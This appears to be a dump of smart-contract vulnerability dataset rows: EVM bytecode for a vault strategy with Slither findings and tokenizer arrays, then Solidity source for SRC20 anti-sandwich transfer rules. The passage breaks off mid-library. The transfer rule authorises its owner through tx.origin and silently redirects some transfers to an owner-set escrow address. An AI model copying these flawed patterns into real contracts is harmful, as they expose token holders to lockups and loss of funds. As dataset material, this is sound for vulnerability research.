370a0823160e01b815230600482015290516001600160a01b03909216916370a0823191602480820192602092909190829003018186803b1580156109a157600080fd5b505afa1580156109b5573d6000803e3d6000fd5b505050506040513d60208110156109cb57600080fd5b50519063ffffffff61180616565b905090565b600b54600160a01b900460ff1615610a275760405162461bcd60e51b81526004018080602001828103825260348152602001806126a96034913960400191505060405180910390fd5b6005546001600160a01b0316331480610a585750610a43611738565b6001600160a01b0316336001600160a01b0316145b80610a7b5750610a66610c7b565b6001600160a01b0316336001600160a01b0316145b610ab65760405162461bcd60e51b815260040180806020018281038252603a8152602001806125ee603a913960400191505060405180910390fd5b600c60009054906101000a90046001600160a01b03166001600160a01b0316633d18b9126040518163ffffffff1660e01b8152600401600060405180830381600087803b158015610b0657600080fd5b505af1158015610b1a573d6000803e3d6000fd5b50505050610b26611869565b610b2e611b25565b565b60066020526000908152604090205460ff1681565b600054604080516337b87c3960e21b815233600482015290516001600160a01b039092169163dee1f0e491602480820192602092909190829003018186803b158015610b9057600080fd5b505afa158015610ba4573d6000803e3d6000fd5b505050506040513d6020811015610bba57600080fd5b5051610bfe576040805162461bcd60e51b815260206004820152600e60248201526d4e6f7420676f7665726e616e636560901b604482015290519081900360640190fd5b600c60009054906101000a90046001600160a01b03166001600160a01b031663e9fad8ee6040518163ffffffff1660e01b8152600401600060405180830381600087803b158015610c4e57600080fd5b505af1158015610c62573d6000803e3d6000fd5b5050600b805460ff60a01b1916600160a01b1790555050565b60008060009054906101000a90046001600160a01b03166001600160a01b0316635aa6e6756040518163ffffffff1660e01b815260040160206040518083038186803b1580156105ea57600080fd5b600c546001600160a01b031681565b6004546001600160a01b031681565b600054604080516337b87c3960e21b815233600482015290516001600160a01b039092169163dee1f0e491602480820192602092909190829003018186803b158015610d3357600080fd5b505afa158015610d47573d6000803e3d6000fd5b505050506040513d6020811015610d5d57600080fd5b5051610da1576040805162461bcd60e51b815260206004820152600e60248201526d4e6f7420676f7665726e616e636560901b604482015290519081900360640190fd5b6001600160a01b038116610dfc576040805162461bcd60e51b815260206004820152601e60248201527f6e65772073746f726167652073686f756c646e277420626520656d7074790000604482015290519081900360640190fd5b600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031681565b6015546001600160a01b031681565b600d5481565b600054604080516337b87c3960e21b815233600482015290516001600160a01b039092169163dee1f0e491602480820192602092909190829003018186803b158015610e8d57600080fd5b505afa158015610ea1573d6000803e3d6000fd5b505050506040513d6020811015610eb757600080fd5b5051610efb576040805162461bcd60e51b815260206004820152600e60248201526d4e6f7420676f7665726e616e636560901b604482015290519081900360640190fd5b600c8054911515600160a01b0260ff60a01b19909216919091179055565b60015481565b600054604080516337b87c3960e21b815233600482015290516001600160a01b039092169163dee1f0e491602480820192602092909190829003018186803b158015610f6a57600080fd5b505afa158015610f7e573d6000803e3d6000fd5b505050506040513d6020811015610f9457600080fd5b5051610fd8576040805162461bcd60e51b815260206004820152600e60248201526d4e6f7420676f7665726e616e636560901b604482015290519081900360640190fd5b600d55565b6005546001600160a01b031633148061100e5750610ff9611738565b6001600160a01b0316336001600160a01b0316145b80611031575061101c610c7b565b6001600160a01b0316336001600160a01b0316145b61106c5760405162461bcd60e51b815260040180806020018281038252603a8152602001806125ee603a913960400191505060405180910390fd5b600c546001600160a01b03161561116357600c54604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156110c857600080fd5b505afa1580156110dc573d6000803e3d6000fd5b505050506040513d60208110156110f257600080fd5b5051111561116357600c60009054906101000a90046001600160a01b03166001600160a01b031663e9fad8ee6040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561114a57600080fd5b505af115801561115e573d6000803e3d6000fd5b505050505b61116b611869565b60048054604080516370a0823160e01b81523093810193909352516000926001600160a01b03909216916370a08231916024808301926020929190829003018186803b1580156111ba57600080fd5b505afa1580156111ce573d6000803e3d6000fd5b505050506040513d60208110156111e457600080fd5b50511115610b2e5760055460048054604080516370a0823160e01b8152309381019390935251610b2e936001600160a01b03908116939216916370a08231916024808301926020929190829003018186803b15801561124257600080fd5b505afa158015611256573d6000803e3d6000fd5b505050506040513d602081101561126c57600080fd5b50516004546001600160a01b0316919063ffffffff6117b416565b600190565b6009546001600160a01b031681565b6010546001600160a01b031681565b6005546001600160a01b03163314806112db57506112c6611738565b6001600160a01b0316336001600160a01b0316145b806112fe57506112e9610c7b565b6001600160a01b0316336001600160a01b0316145b6113395760405162461bcd60e51b815260040180806020018281038252603a8152602001806125ee603a913960400191505060405180910390fd5b60048054604080516370a0823160e01b81523093810193909352516001600160a01b03909116916370a08231916024808301926020929190829003018186803b15801561138557600080fd5b505afa158015611399573d6000803e3d6000fd5b505050506040513d60208110156113af57600080fd5b505181111561151e5760048054604080516370a0823160e01b8152309381019390935251600092611443926001600160a01b0316916370a0823191602480820192602092909190829003018186803b15801561140a57600080fd5b505afa15801561141e573d6000803e3d6000fd5b505050506040513d602081101561143457600080fd5b5051839063ffffffff611dce16565b600c54604080516370a0823160e01b815230600482015290519293506001600160a01b0390911691632e1a7d4d916114ce9184916370a08231916024808301926020929190829003018186803b15801561149c57600080fd5b505afa1580156114b0573d6000803e3d6000fd5b505050506040513d60208110156114c657600080fd5b505184611e10565b6040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561150457600080fd5b505af1158015611518573d6000803e3d6000fd5b50505050505b600554600454611541916001600160a01b0391821691168363ffffffff6117b416565b50565b600b54600160a01b900460ff1681565b600f818154811061156157fe5b600091825260209091200154905081565b6011546001600160a01b031681565b6012546001600160a01b031681565b600054604080516337b87c3960e21b815233600482015290516001600160a01b039092169163dee1f0e491602480820192602092909190829003018186803b1580156115db57600080fd5b505afa1580156115ef573d6000803e3d6000fd5b505050506040513d602081101561160557600080fd5b5051611649576040805162461bcd60e51b815260206004820152600e60248201526d4e6f7420676f7665726e616e636560901b604482015290519081900360640190fd5b600b805460ff60a01b19169055565b600054604080516337b87c3960e21b815233600482015290516001600160a01b039092169163dee1f0e491602480820192602092909190829003018186803b1580156116a357600080fd5b505afa1580156116b7573d6000803e3d6000fd5b505050506040513d60208110156116cd57600080fd5b5051611711576040805162461bcd60e51b815260206004820152600e60248201526d4e6f7420676f7665726e616e636560901b604482015290519081900360640190fd5b815161172490600e9060208501906124b6565b5080516107cd90600f90602084019061251b565b60008060009054906101000a90046001600160a01b03166001600160a01b031663f77c47916040518163ffffffff1660e01b815260040160206040518083038186803b1580156105ea57600080fd5b600b546001600160a01b031681565b6005546001600160a01b031681565b600a546001600160a01b031681565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b1790526107cd908490611e26565b600082820183811015611860576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b90505b92915050565b600b54604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156118b457600080fd5b505afa1580156118c8573d6000803e3d6000fd5b505050506040513d60208110156118de57600080fd5b5051600c54909150600160a01b900460ff1615806118fd5750600d5481105b15611931576040517f444bcec8acce9dc46755761662d6262a490b9f61cca73243c5131d98df078ce390600090a150610b2e565b600061193b6105a5565b600b5490915061195c906001600160a01b031682600063ffffffff611fde16565b600b54611979906001600160a01b0316828463ffffffff611fde16565b806001600160a01b0316633c449dad83600130600f600e6040518663ffffffff1660e01b815260040180868152602001858152602001846001600160a01b03166001600160a01b0316815260200180602001806020018381038352858181548152602001915080548015611a0c57602002820191906000526020600020905b8154815260200190600101908083116119f8575b50508381038252848181548152602001915080548015611a5557602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311611a37575b5050975050505050505050600060405180830381600087803b158015611a7a57600080fd5b505af1158015611a8e573d6000803e3d6000fd5b5050600854604080516370a0823160e01b81523060048201529051600094506001600160a01b0390921692506370a08231916024808301926020929190829003018186803b158015611adf57600080fd5b505afa158015611af3573d6000803e3d6000fd5b505050506040513d6020811015611b0957600080fd5b50516009549091506107cd9082906001600160a01b03166120f1565b600b54600160a01b900460ff1615611b6e5760405162461bcd60e51b81526004018080602001828103825260348152602001806126a96034913960400191505060405180910390fd5b60048054604080516370a0823160e01b81523093810193909352516000926001600160a01b03909216916370a08231916024808301926020929190829003018186803b158015611bbd57600080fd5b505afa158015611bd1573d6000803e3d6000fd5b505050506040513d6020811015611be757600080fd5b50511115610b2e5760048054600c54604080516370a0823160e01b81523094810194909452516001600160a01b039283169363095ea7b3939092169184916370a0823191602480820192602092909190829003018186803b158015611c4b57600080fd5b505afa158015611c5f573d6000803e3d6000fd5b505050506040513d6020811015611c7557600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b03909316600484015260248301919091525160448083019260209291908290030181600087803b158015611cc657600080fd5b505af1158015611cda573d6000803e3d6000fd5b505050506040513d6020811015611cf057600080fd5b5050600c5460048054604080516370a0823160e01b81523093810193909352516001600160a01b039384169363a694fc3a939216916370a08231916024808301926020929190829003018186803b158015611d4a57600080fd5b505afa158015611d5e573d6000803e3d6000fd5b505050506040513d6020811015611d7457600080fd5b5051604080516001600160e01b031960e085901b168152600481019290925251602480830192600092919082900301818387803b158015611db457600080fd5b505af1158015611dc8573d6000803e3d6000fd5b50505050565b600061186083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506122e8565b6000818310611e1f5781611860565b5090919050565b611e38826001600160a01b031661237f565b611e89576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b60208310611ec75780518252601f199092019160209182019101611ea8565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611f29576040519150601f19603f3d011682016040523d82523d6000602084013e611f2e565b606091505b509150915081611f85576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b805115611dc857808060200190516020811015611fa157600080fd5b5051611dc85760405162461bcd60e51b815260040180806020018281038252602a815260200180612649602a913960400191505060405180910390fd5b801580612064575060408051636eb1769f60e11b81523060048201526001600160a01b03848116602483015291519185169163dd62ed3e91604480820192602092909190829003018186803b15801561203657600080fd5b505afa15801561204a573d6000803e3d6000fd5b505050506040513d602081101561206057600080fd5b5051155b61209f5760405162461bcd60e51b81526004018080602001828103825260368152602001806126736036913960400191505060405180910390fd5b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663095ea7b360e01b1790526107cd908490611e26565b81156122a4576000612120600254612114600154866123bb90919063ffffffff16565b9063ffffffff61241416565b9050600061212c611738565b6001600160a01b031663ae28d1286040518163ffffffff1660e01b815260040160206040518083038186803b15801561216457600080fd5b505afa158015612178573d6000803e3d6000fd5b505050506040513d602081101561218e57600080fd5b50516040805186815260208101859052428183015290519192507fad8c62801def5a4c5bc648b04530098d0af19e9d7c1813bd05811ad417eba99f919081900360600190a16003546121f1906001600160a01b031682600063ffffffff611fde16565b60035461220e906001600160a01b0316828663ffffffff611fde16565b6001600160a01b03811663a214385c838561222f888363ffffffff611dce16565b6040518463ffffffff1660e01b815260040180848152602001836001600160a01b03166001600160a01b031681526020018281526020019350505050600060405180830381600087803b15801561228557600080fd5b505af1158015612299573d6000803e3d6000fd5b5050505050506122e4565b6040805160008082526020820152428183015290517fad8c62801def5a4c5bc648b04530098d0af19e9d7c1813bd05811ad417eba99f9181900360600190a15b5050565b600081848411156123775760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561233c578181015183820152602001612324565b50505050905090810190601f1680156123695780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708181148015906123b357508115155b949350505050565b6000826123ca57506000611863565b828202828482816123d757fe5b04146118605760405162461bcd60e51b81526004018080602001828103825260218152602001806126286021913960400191505060405180910390fd5b600061186083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836124a05760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561233c578181015183820152602001612324565b5060008385816124ac57fe5b0495945050505050565b82805482825590600052602060002090810192821561250b579160200282015b8281111561250b57825182546001600160a01b0319166001600160a01b039091161782556020909201916001909101906124d6565b50612517929150612562565b5090565b828054828255906000526020600020908101928215612556579160200282015b8281111561255657825182559160200191906001019061253b565b50612517929150612586565b61061991905b808211156125175780546001600160a01b0319168155600101612568565b61061991905b80821115612517576000815560010161258c56fe5468652063616c6c6572206d75737420626520636f6e74726f6c6c6572206f7220676f7665726e616e6365746f6b656e20697320646566696e6564206173206e6f742073616c76616761626c655468652073656e6465722068617320746f2062652074686520636f6e74726f6c6c6572206f72207661756c74206f7220676f7665726e616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f7420737563636565645361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f20746f206e6f6e2d7a65726f20616c6c6f77616e6365416374696f6e20626c6f636b65642061732074686520737472617465677920697320696e20656d657267656e6379207374617465a265627a7a723158201ed17b995db804aac9d785c443be6d75943720df763890d32406020cf73b7fe764736f6c63430005100032
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'shadowing-state', 'impact': 'High', 'confidence': 'High'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'controlled-array-length', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 18139, 2581, 2278, 2487, 2546, 19481, 2475, 2050, 17914, 2581, 2575, 2050, 2581, 22025, 26337, 16409, 2094, 21486, 2575, 27717, 2692, 2546, 24096, 2692, 21472, 26976, 2581, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1019, 1012, 2385, 1025, 12324, 1000, 1012, 1012, 1013, 1012, 1012, 1013, 2918, 1013, 1055, 26807, 1011, 2918, 1013, 19706, 1013, 1055, 26807, 15603, 4232, 18447, 2121, 12172, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1012, 1013, 1012, 1012, 1013, 2918, 1013, 1055, 26807, 1011, 2918, 1013, 1055, 26807, 15603, 4232, 2475, 14971, 5244, 6494, 2618, 6292, 5313, 1012, 14017, 1000, 1025, 3206, 5259, 24238, 7159, 1035, 24098, 10258, 2595, 1035, 2149, 2102, 2003, 1055, 26807, 15603, 4232, 2475, 14971, 5244, 6494, 2618, 6292, 5313, 1063, 4769, 2270, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,758
0x974ad09944934CA003b7353cAe5FaA173123B1b1
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface ISRC20 { event RestrictionsAndRulesUpdated(address restrictions, address rules); function transferToken(address to, uint256 value, uint256 nonce, uint256 expirationTime, bytes32 msgHash, bytes calldata signature) external returns (bool); function transferTokenFrom(address from, address to, uint256 value, uint256 nonce, uint256 expirationTime, bytes32 hash, bytes calldata signature) external returns (bool); function getTransferNonce() external view returns (uint256); function getTransferNonce(address account) external view returns (uint256); function executeTransfer(address from, address to, uint256 value) external returns (bool); function updateRestrictionsAndRules(address restrictions, address rules) external returns (bool); // ERC20 part-like interface event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function increaseAllowance(address spender, uint256 value) external returns (bool); function decreaseAllowance(address spender, uint256 value) external returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface ITransferRules { function setSRC(address src20) external returns (bool); function doTransfer(address from, address to, uint256 value) external returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol'; import "../interfaces/src20/ITransferRules.sol"; import "../interfaces/src20/ISRC20.sol"; abstract contract BaseTransferRule is Initializable, OwnableUpgradeable, ITransferRules { address public chainRuleAddr; address public _src20; address public doTransferCaller; modifier onlyDoTransferCaller { require(msg.sender == address(doTransferCaller)); _; } //--------------------------------------------------------------------------------- // public section //--------------------------------------------------------------------------------- function cleanSRC() public onlyOwner() { _src20 = address(0); doTransferCaller = address(0); //_setChain(address(0)); } function clearChain() public onlyOwner() { _setChain(address(0)); } function setChain(address chainAddr) public onlyOwner() { _setChain(chainAddr); require(_tryExternalSetSRC(_src20), "can't call setSRC at chain contract"); } //--------------------------------------------------------------------------------- // external section //--------------------------------------------------------------------------------- /** * @dev Set for what contract this rules are. * * @param src20 - Address of src20 contract. */ function setSRC(address src20) override external returns (bool) { require(doTransferCaller == address(0), "external contract already set"); require(address(_src20) == address(0), "external contract already set"); require(src20 != address(0), "src20 can not be zero"); doTransferCaller = _msgSender(); _src20 = src20; return true; } /** * @dev Do transfer and checks where funds should go. If both from and to are * on the whitelist funds should be transferred but if one of them are on the * grey list token-issuer/owner need to approve transfer. * * param from The address to transfer from. * param to The address to send tokens to. * @param value The amount of tokens to send. */ function doTransfer(address from, address to, uint256 value) override external onlyDoTransferCaller returns (bool) { (from,to,value) = _doTransfer(from, to, value); if (isChainExists()) { require(ITransferRules(chainRuleAddr).doTransfer(msg.sender, to, value), "chain doTransfer failed"); } else { //_transfer(msg.sender, to, value); require(ISRC20(_src20).executeTransfer(from, to, value), "SRC20 transfer failed"); } return true; } //--------------------------------------------------------------------------------- // internal section //--------------------------------------------------------------------------------- function __BaseTransferRule_init() internal initializer { __Ownable_init(); } function isChainExists() internal view returns(bool) { return (chainRuleAddr != address(0) ? true : false); } function _doTransfer(address from, address to, uint256 value) internal virtual returns(address _from, address _to, uint256 _value) ; //--------------------------------------------------------------------------------- // private section //--------------------------------------------------------------------------------- function _tryExternalSetSRC(address chainAddr) private returns (bool) { try ITransferRules(chainAddr).setSRC(_src20) returns (bool) { return (true); } catch Error(string memory /*reason*/) { // This is executed in case // revert was called inside getData // and a reason string was provided. return (false); } catch (bytes memory /*lowLevelData*/) { // This is executed in case revert() was used // or there was a failing assertion, division // by zero, etc. inside getData. return (false); } } function _setChain(address chainAddr) private { chainRuleAddr = chainAddr; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol'; import "@openzeppelin/contracts-upgradeable/utils/math/SafeMathUpgradeable.sol"; import "./BaseTransferRule.sol"; /* * @title TransferRules contract * @dev Contract that is checking if on-chain rules for token transfers are concluded. */ contract SimpleTransferRule is BaseTransferRule { using SafeMathUpgradeable for uint256; address internal escrowAddr; mapping (address => uint256) _lastTransactionBlock; address uniswapV2Pair; uint256 latestOutlierBlock; uint256 latestOutlierAmount; address latestOutlierOrigin; uint256 biggestNormalValue; uint256 blockNumbersHalt; uint256 normalValueRatio; event Event(string topic, address origin, address firstOrigin); //--------------------------------------------------------------------------------- // public section //--------------------------------------------------------------------------------- /** * init method */ function init( ) public initializer { __SimpleTransferRule_init(); } /** * @dev clean ERC777. available only for owner */ function haltTrading(uint256 blocks) public onlyOwner(){ latestOutlierBlock = (block.number).add(blocks); } function resumeTrading() public onlyOwner() { latestOutlierBlock = 0; } function setBiggestNormalValue(uint256 _biggestNormalValue) public onlyOwner(){ biggestNormalValue = _biggestNormalValue; } function setEscrowAccount(address addr) public onlyOwner(){ escrowAddr = addr; } //--------------------------------------------------------------------------------- // internal section //--------------------------------------------------------------------------------- /** * init internal */ function __SimpleTransferRule_init( ) internal initializer { __BaseTransferRule_init(); uniswapV2Pair = 0x03B0da178FecA0b0BBD5D76c431f16261D0A76aa; //_src20 = 0x6Ef5febbD2A56FAb23f18a69d3fB9F4E2A70440B; blockNumbersHalt = 25000; // near 5 days normalValueRatio = 50; } //--------------------------------------------------------------------------------- // external section //--------------------------------------------------------------------------------- /** * @dev Do transfer and checks where funds should go. If both from and to are * on the whitelist funds should be transferred but if one of them are on the * grey list token-issuer/owner need to approve transfer. * * @param from The address to transfer from. * @param to The address to send tokens to. * @param value The amount of tokens to send. */ function _doTransfer( address from, address to, uint256 value ) override internal returns ( address _from, address _to, uint256 _value ) { (_from,_to,_value) = (from,to,value); if (tx.origin == owner()) { // owner does anything } else { if (latestOutlierBlock < block.number.sub(blockNumbersHalt)) { // automatically resume after 5 days if not cleared manually latestOutlierAmount = 0; } if (latestOutlierAmount > 0) { // halt trading emit Event("SandwichAttack", tx.origin, latestOutlierOrigin); revert("Potentional sandwich attacks"); } // fetches and sorts the reserves for a pair (uint reserveA, uint reserveB,) = IUniswapV2Pair(uniswapV2Pair).getReserves(); // uint256 calcEth = value.mul(reserveB).div(reserveA); uint256 numerator = reserveB.mul(value).mul(1000); uint256 denominator = reserveA.sub(value).mul(997); uint256 calcEth = (numerator / denominator).add(1); if (calcEth > biggestNormalValue.mul(normalValueRatio)) { // flag an outlier transaction latestOutlierBlock = block.number; latestOutlierAmount = value; latestOutlierOrigin = tx.origin; // NOTE: do not update biggestNormalValue here } else if (calcEth > biggestNormalValue) { biggestNormalValue = calcEth; } if (_lastTransactionBlock[tx.origin] == block.number) { // prevent direct frontrunning emit Event("SandwichAttack", tx.origin, address(0)); //revert("Cannot execute two transactions in same block."); if (escrowAddr != address(0)) { _to = escrowAddr; } } _lastTransactionBlock[tx.origin] = block.number; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMathUpgradeable { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas 